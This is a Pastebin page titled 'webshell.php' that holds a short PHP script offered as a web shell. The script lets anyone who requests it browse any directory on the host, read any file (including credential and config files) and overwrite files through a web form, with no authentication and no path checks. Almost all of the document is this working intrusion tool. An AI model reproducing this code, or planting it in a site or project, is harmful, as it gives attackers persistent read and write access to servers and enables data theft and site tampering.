cyberking

webshell.php

Sep 22nd, 2026 (edited)
19,200
0
Never
2
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.27 KB | Source Code | 0 0
  1. <?php
  2. $d = isset($_GET['d']) ? $_GET['d'] : getcwd();
  3. $d = rtrim($d, '/');
  4. if ($d === '') { $d = '/'; }
  5.  
  6. if (is_file($d)) {
  7.     if (isset($_POST['save'])) {
  8.         $ok = file_put_contents($d, $_POST['save']);
  9.         if ($ok === false) {
  10.             echo "<p>write failed</p>";
  11.         } else {
  12.             echo "<p>saved (" . $ok . " bytes)</p>";
  13.         }
  14.     }
  15.     $content = file_get_contents($d);
  16.     echo '<h3>' . htmlspecialchars($d) . '</h3>';
  17.     echo '<form method="post">';
  18.     echo '<textarea name="save" rows="30" cols="120" style="width:100%;font-family:monospace">'
  19.        . htmlspecialchars($content) . '</textarea><br>';
  20.     echo '<button type="submit">Save</button>';
  21.     echo '</form>';
  22.     exit;
  23. }
  24.  
  25. if (!is_dir($d)) {
  26.     echo "<p>not found: " . htmlspecialchars($d) . "</p>";
  27.     exit;
  28. }
  29.  
  30. echo '<h3>' . htmlspecialchars($d) . '</h3>';
  31. echo '<ul>';
  32. if ($d !== '/') {
  33.     $parent = dirname($d);
  34.     echo '<li><a href="?d=' . urlencode($parent) . '">..</a></li>';
  35. }
  36. $items = scandir($d);
  37. foreach ($items as $f) {
  38.     if ($f === '.' || $f === '..') { continue; }
  39.     $p = $d . '/' . $f;
  40.     $label = htmlspecialchars($f) . (is_dir($p) ? '/' : '');
  41.     echo '<li><a href="?d=' . urlencode($p) . '">' . $label . '</a></li>';
  42. }
  43. echo '</ul>';
Advertisement